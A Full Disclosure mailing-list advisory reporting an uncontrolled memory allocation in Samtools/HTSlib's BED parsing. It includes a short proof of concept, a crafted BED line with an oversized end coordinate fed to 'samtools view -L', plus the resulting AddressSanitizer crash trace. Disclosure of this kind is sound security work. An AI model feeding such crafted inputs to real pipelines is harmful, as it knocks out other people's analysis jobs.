
Full Disclosure mailing list archives
Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib
From: Ron E <ronaldjedgerson () gmail com>
Date: Sun, 28 Sep 2025 12:17:19 -0400
A denial-of-service vulnerability exists in Samtools and the underlying HTSlib when processing BED files containing extremely large interval values. The bed_index_core() function in bedidx.c uses the interval end coordinate to calculate allocation size without sufficient validation. By supplying a BED record with a crafted end coordinate (e.g., near 2^61), an attacker can trigger uncontrolled memory allocation requests via hts_resize_array_(). This leads to process termination due to failed allocations, effectively causing a denial of service. This issue can be exploited by tricking a user or automated pipeline into loading a malicious BED file with oversized intervals (e.g., via the -L option of samtools view). *Impact* - Denial-of-Service (DoS) *Proof of Concept:* Craft BED with an oversized interval echo -e "chr1\t0\t2305843009213693940" > bad.bed # Trigger DoS with samtools samtools view -L bad.bed big.bam *Output:* ================================================================= ==1060879==ERROR: AddressSanitizer: requested allocation size 0x10000000000000 (0x10000000001000 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0) #0 0xaad05674fd5c in realloc (/root/samtools/samtools+0xdfd5c) (BuildId: 031fb204568f835410c0dd07ee99a915c9a7b660) #1 0xaad0568afc64 in hts_resize_array_ /root/htslib/hts.c:5070:15 #2 0xaad056873d80 in bed_index_core /root/samtools/bedidx.c:120:13 #3 0xaad056873d80 in bed_index /root/samtools/bedidx.c:149:17 #4 0xaad056872780 in bed_read /root/samtools/bedidx.c:348:9 #5 0xaad0567958b4 in main_samview /root/samtools/sam_view.c:1066:33 #6 0xaad0567d5b40 in main /root/samtools/bamtk.c:246:55 #7 0xfffaacef2290 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #8 0xfffaacef2374 in __libc_start_main csu/../csu/libc-start.c:360:3 #9 0xaad0566acc6c in _start (/root/samtools/samtools+0x3cc6c) (BuildId: 031fb204568f835410c0dd07ee99a915c9a7b660) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib Ron E (Sep 30)